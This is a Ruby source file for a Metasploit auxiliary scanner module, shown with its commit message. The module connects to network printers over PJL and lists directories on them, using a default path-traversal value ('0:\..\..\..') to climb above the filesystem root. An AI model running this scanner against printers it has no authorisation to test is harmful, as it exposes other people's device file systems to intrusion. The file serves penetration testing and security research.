Files
metasploit-gs/modules/auxiliary/scanner/printer/printer_list_dir.rb
T
Tod Beardsley b3b51eb48c Pre-release fixup
* Updated descriptions to be a little more descriptive.

  * Updated store_loot calls to inform the user where the
loot is stored.

  * Removed newlines in print_* statments -- these will screw
up Scanner output when dealing with multiple hosts.

Of the fixed newlines, I haven't see any output, so I'm not sure what
the actual message is going to look like -- I expect it's a whole bunch
of newlines in there so it'll be kinda ugly as is (not a blocker for
this but should clean up eventually)
2014-01-21 13:29:08 -06:00

66 lines
1.5 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "msf/core"
require "rex/proto/pjl"
class Metasploit4 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
"Name" => "Printer Directory Listing Scanner",
"Description" => %q{
This module lists a directory on a set of printers using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
"sinn3r", # RSpec tests
"MC", # Independent implementation
"YGN" # Independent implementation
],
"References" => [
["URL", "https://en.wikipedia.org/wiki/Printer_Job_Language"]
],
"License" => MSF_LICENSE
))
register_options([
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptString.new("PATHNAME", [true, "Pathname", '0:\..\..\..'])
], self.class)
end
def run_host(ip)
pathname = datastore["PATHNAME"]
connect
pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job
pjl.fsinit(pathname[0..1])
listing = pjl.fsdirlist(pathname)
pjl.end_job
disconnect
if listing
print_good("#{ip}:#{rport} - #{listing}")
report_note({
:host => ip,
:port => rport,
:proto => "tcp",
:type => "printer.dir.listing",
:data => listing
})
end
end
end